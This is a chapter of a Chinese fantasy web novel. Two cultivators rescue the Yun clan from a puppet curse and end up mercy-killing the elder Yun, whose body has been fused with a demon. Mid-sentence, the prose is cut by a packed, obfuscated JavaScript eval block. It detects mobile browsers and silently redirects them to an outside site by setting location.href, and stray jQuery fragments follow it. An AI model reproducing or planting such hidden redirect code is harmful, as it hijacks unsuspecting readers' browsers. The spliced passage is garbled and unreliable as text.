3. 云家

作品:《为何种桃花

    知寒酥:……


    拔剑一扔,却是又施法把剑变得大了些,三人都能稳稳站上。


    “上来吧。”知寒酥跃上,站在前端。


    花玉桥的笑僵在了脸上,你他——


    腹诽一顿后,花玉桥站上了剑。本欲抱上去,但知寒酥有所察觉般侧头睨了他一眼。


    于是,堂堂花老板便乖巧地站在了剑中段没有往前,许是觉得有些憋屈,还是伸出了一只手拉住了一角知寒酥的衣袖。


    “站不稳,怕会掉下去。”


    街坊人群早已鸦雀无声,看着这一幕幕,每个人都静地仿佛融入了周遭风景,直到那二人飞走才大声讨论起来。


    “花老板原是喜好男风,怪不得天边桂里一个丫鬟都没有。”


    “难怪这等年纪都还未娶妻。”


    “他不提也没人敢给他说媒啊!”


    云云。


    人群中一个嗓门响亮的大娘嚎道:“那小仙长若是女子,倒是和咱们花老板般配地紧呐!”


    知寒酥要是听见了,估计冷脸都要维系不住。


    花玉桥要是听见了……


    那是脸都得笑烂了。


    ***


    天云观离谷口不算远,再加上知寒酥御剑术了得,两刻便到了山门前。


    二人下了剑,立在半山腰长长的梯道前,却不见一个守山弟子。


    “人呢?”花玉桥张望着,“有人吗!”


    知寒酥凝视着山顶,神情逐渐严肃起来:“别说话,听。”


    花玉桥敛声,也望向了山顶。


    山顶,天云观的楼阁从山腰看去只能看到最前头一座的飞檐。而此刻那飞檐之上似乎隐约灵光闪烁,细听,还有兵器碰撞的“叮哐”声。


    “不对劲,去看看。”花玉桥与知寒酥对视一眼,各自运转灵力飞身上了梯道,直奔山顶去了。


    剑刃摩擦、刀具互砍的声音越发清晰,花玉桥和知寒酥的脸色也愈发阴沉。


    他们在梯道顶端的坛场前停下,就见本来摆炉炼丹的坛场上,云家子弟自相残杀,丹炉尽毁,鲜血横飞。


    花玉桥看着滚到脚边的一颗断头,震惊不已,一向沉静的知寒酥也不免微微张口。


    “你们这是做什么?!”花玉桥一手掰来一个打到他面前的弟子问话。


    那弟子抬头,一双眼睛却是不见瞳孔,只有泛着血丝的眼白,死死盯着花玉桥。


    花玉桥一愣,一把将人甩开,看向知寒酥:“傀儡之术!”


    知寒酥又抓来一人看了眼后脖颈,道:“没有血线,施术之人不在附近,应当封了鬼祟压阵,找。”


    话音刚落,二人默契地分开,灵活穿过打斗的人流,向坛场两边树林寻去。


    花玉桥指尖捏着诀在林间穿梭,一边散出灵力探寻,目光掠过四处,眼看到了林子尽头的断崖,也没见到有异动。


    “难道在知耿那边?”花玉桥喃喃,旋即转身回去。


    回到坛场,就见知寒酥朝他飞来,云家子弟的傀儡术也没能解开。


    “你也没找到?”


    “嗯。”


    二人退回山门口,一众人杀得只剩来时的一半了。


    “绑起来。”知寒酥看着坛场惨状,冷声道。


    花玉桥心领神会:“行啊。”


    知寒酥化出灵气丝,甩出的瞬间如同渔网一般罩住了大半个坛场的人。


    花玉桥跳起摘了一旁一棵树的树枝,催动灵气覆盖,转瞬变作一根长长的灵气柳条。一鞭,柳条“啪”地一声绕着剩下的弟子打了个圈儿,再一扯,便收紧了一大堆人。


    天云观云家主修炼丹,不然估计早就互殴地一个人都不剩了。


    花玉桥和知寒酥一人控着一边,被捆着的人还一个个张牙舞爪乱嚎着。


    “啧!脱不开身啊!”花玉桥烦躁地将柳条扯得更紧了。


    “花老板莫急,此处交由我们。”一道温润的嗓音从二人后方响起。


    下一瞬,知寒酥那边捆着的人被一串金字佛音绕住,花玉桥这边则是被一把流光溢彩的琉璃剑飞速绕圈围住。


    “林方仪!”花玉桥收了灵力化柳,惊喜地回头看向琉璃剑的主人。


    林方仪举止端庄容貌俊朗,立在坛场边缘,一身紫薇长袍,金花腰封,金边玉发冠两侧缀着两颗紫水晶吊坠,好不花哨。


    知寒酥收了灵气丝,回身向佛音的唱诵者颔首。


    诵音之人是一个肤色偏黑半披袈裟的青年,站在林方仪身边却比林方仪高出一个头来。露出的半个上身可见流畅的肌肉线条,但并不夸张。他双手合十,眉眼轻佻,左耳挂了一枚山鬼铜钱,作为佛修竟还留着一头微卷的棕黑长发。


    “来的正巧!这就交予你们控制了,我与知耿进主楼内去寻!”


    “没问题。”林方仪加快了琉璃剑的转速,将人困得死死的。


    花玉桥与知寒酥一个飞身跃出,精准地落到了主楼二楼的飞檐上,贴身到雕木窗格前。


    “坛场没见云老还有云家两位小姐,应当在里面。”花玉桥将手扶到窗缝上,用气音道。


    知寒酥应:“嗯,小心为上。”


    窗被缓慢推开,楼内吹出一道阴风,昏暗阴寒。二人翻身进入,对比起外面,里面简直静到可怕。


    幸亏今日天气晴朗,早晨的光线虽不算强烈,但还是能透过纸窗大概照明楼内事物。


    他们落在楼内天井边的栈道上,中间是一个巨大的炼丹炉,被四周墙上的锁链吊起了炉顶。


    花玉桥戳了戳知寒酥的手臂,示意往右侧楼梯下去。


    到了一楼楼梯口,两人停下脚步,因为他们看见了背对着楼梯口正笔直地站了两个人。


    高一些的盘着簪花凌云髻,矮的那个则是用蓝绳扎着双螺。


    很显然,是云大小姐和云二小姐。


    花玉桥不由呼吸一窒,死死盯着那两人的背影。许是感应到了他们的存在,云家小姐陡然动了起来。


    知寒酥神色冷肃,无声提剑挡在身前。


    只见二位小姐仰起头,脖颈似乎折叠了一般,依旧保持着直挺的站姿,背对着他们却又直视着他们。


    两双白瞳在昏暗的光影下格外空洞瘆人,紧接着她们笑了,没有任何声音,却是张大嘴在笑,笑到胸膛发颤的地步。


    知寒酥上前一步,不自觉将花玉桥挡在了身后。


    霎时,只见面前二人一个晃身,就不见了踪影。知寒酥和花玉桥连忙回头,果见二人在他们背后拿出了匕首,脖颈已恢复正常,只是依旧咧着嘴,刀光闪烁朝他们飞刺过来。


    “快撤!”花玉桥拉了知寒酥一把,两人一蹬地飞身退到了大堂内,借丹炉壁转向,分开往两边跳去。


    云家姐妹的匕首刚好刺在他们刚刚分开的位置,丹炉壁发出“叮”地闷响。


    听到那声音,花玉桥即刻看向在对面落下的知寒酥:“丹炉里有东西!”


    知寒酥颔首:“上楼!”


    此时屋外,那声闷想过后,被施了傀儡术的弟子们更加躁动起来。


    林方仪秀眉微蹙,抬手收回琉璃剑,挽了个剑花,剑锋随着转动散出流光拖影,只见他将剑抛起,点地腾飞到半空,青紫交融的灵力环绕剑身。


    “落千丈。”


    琉璃剑刹那幻化数百分身,随林方仪手指向下一指,便齐齐坠落,将那些弟子一个隔一个捆在了剑阵中。


    林方仪落地,微笑地看向左边那佛修:“李晚煜,还不拿点真本事出来吗?一会儿咬着你了。”


    李晚煜勾唇一笑,音调戏谑:“不慌不慌。”说着,他原地散盘坐下,左手持平在腹前,右手覆在右膝上,指尖自然垂落触地的瞬间四周漾起金光柔波。


    “凡生讼。”


    李晚煜本圈绕住弟子们的佛音立马重组,光芒下变换成了一卷巨大的竹卷经书,落地轰然,将其中的弟子围困勒紧。


    林方仪拱了拱手:“晚煜兄当真心法了得。”


    外面形势再度被稳住,花玉桥和知寒酥已经借助栈道围栏,沿着天井支柱一路向上,最后翻身站在了相对的两条锁链上。


    云家姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241254|166260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妹乱舞着匕首闪身分头追赶,花玉桥看着追上锁链的二小姐云秋海,苦笑道:“秋海妹妹,你这半死不活的,让我如何下手?”


    知寒酥拔剑与大小姐云春对抗起来,见花玉桥还有心思玩笑,冷声提醒:“花念,封脉停灵。”


    花玉桥摆摆手:“知道知道,我这不就去了!”话音未落,就见他以一个诡异的扭曲方式,如同影子一般,一眨眼便滑到云秋海身后。


    花玉桥抬手力道精准,几下封了云秋海的十二脉,最后再轻轻一敲她后颈,她体内紊乱的灵力便逐渐停歇,收了那副骇人的表情昏了过去。


    花玉桥扶了一把,飞身将云秋海带到栈道上,放躺在墙边,不由感慨:“云家不过一个丹药世家,待人亲和,慈悲为怀,怎会遭此劫难。”


    知寒酥在云春的连续进攻下终于找到了机会,就见他剑尖如缠丝般一洗,卸了云春的匕首,再以剑背压住云春肩头,换位到其身后封脉停灵,带回栈道安置。


    花玉桥几步跑到知寒酥身边,看了眼云春后又看向丹炉:“里面应该就是那阵眼鬼祟了。”


    知寒酥思索片刻,道:“炉顶是开着的。”


    花玉桥反应过来,也不由心想,难道是绑在里面?不然准跑了啊。


    二人目光交替后,一齐旋身飞到丹炉口向其中看去。


    丹炉内地火未烬,从内炉壁四方挂下的锁链正中,赫然捆着一个人。


    “云老!?”花玉桥大惊。


    云老闻声抬头,竟不是傀儡状态,干涩发黄的眼珠在花玉桥和知寒酥之间来回看了一遭后激动地大喊起来:“快杀了我!”


    沙哑的声音传出丹炉,花玉桥站在丹炉口,一咬牙就要往里跳:“我来救你!”


    知寒酥一把抓回住花玉桥的手臂:“地火伤人。”


    花玉桥看着炉内云老被地火灼伤到发黑的皮肤,想起了曾经,那个和蔼的小老头,逢年过节都会乐呵呵地去他那里蹭吃蹭喝上半日,嘴上说着“你这镇上热闹”……


    知寒酥开口:“云老,究竟发生了何事?”


    云老看着失神的花玉桥,深深叹了口气,低垂下眼帘:“前几日来了一个青年,说是要去紫陌镇,路过天云观想歇歇脚。


    我们云家向来广结善缘,便没有拒绝,留他住下了。”


    花玉桥回过神,心中不由苦涩。


    云老满腔悲愤:“昨夜,他竟闯进我的厢房,硬生生剖开了我的腹部,将一只鬼祟的残肢塞进了我的体内,我根本来不及呼救,便被封魂在丹炉之中!!”


    二人这才注意到,云老锁链缠绕的腹部,黑血结痂,皮肉翻绽惨不忍睹。


    知寒酥也不由目光暗淡。


    花玉桥怒火中烧:“到底是何人?!”


    云老无力地摇头:“不知,他戴着帷帽看不清容颜,只道自己是天启城来。我被封在炉后也呼救过,本来秋海和小春来了,可隐约听到一阵铃响,外面便没了动静。


    紧接着就是刀剑声响起到现在,我的腹部那鬼祟也开始吞噬我的身体!”


    知寒酥捕捉到那个奇怪的词,问道:“铃响?”


    云老点头,又看向炉顶边缘的二人,神色担忧:“秋海和小春怎么样?”


    花玉桥深吸一口气,镇定下来:“她们没事,只要……”只要除了阵眼鬼祟,便彻底没事了。花玉桥没忍心说出口。


    云老读懂了那后半句,释然道:“我已然与这鬼祟融为一体,不必负担,花老板,小仙长,赶快动手吧。”


    花玉桥背过身去,侧眸看向知寒酥,轻轻道:“知耿。”


    知寒酥看到了他眼眶那抹红,不由心中一怔,微不可察地叹了口气。


    “嗯。”


    “噗嗤”,飞剑贯穿心脏,干净利落。


    花玉桥没有回头,飞身回了栈道,看着窗外逐渐恢复的众人,不由思索起来。


    “你在想那个铃声吗?”知寒酥的嗓音从后方传来。


    “嗯,我想到了……三生铃。”


    “哐——”主楼大门被匆忙推开,“观主!”